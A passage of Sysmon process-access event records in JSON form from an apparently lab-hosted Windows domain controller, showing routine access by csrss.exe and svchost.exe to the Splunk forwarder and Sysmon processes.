Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2829,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:04.557\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4064-5F2D-0000-0010A9DC0400}\r\nTargetProcessId: 4332\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:04.557","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4064-5F2D-0000-0010A9DC0400}","TargetProcessId":"4332","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2830,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:04.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:04.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2831,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:04.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:04.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2832,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:04.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:04.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2833,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:04.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:04.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2834,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:04.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:04.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2835,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:04.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:04.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2836,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:04.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:04.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2837,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 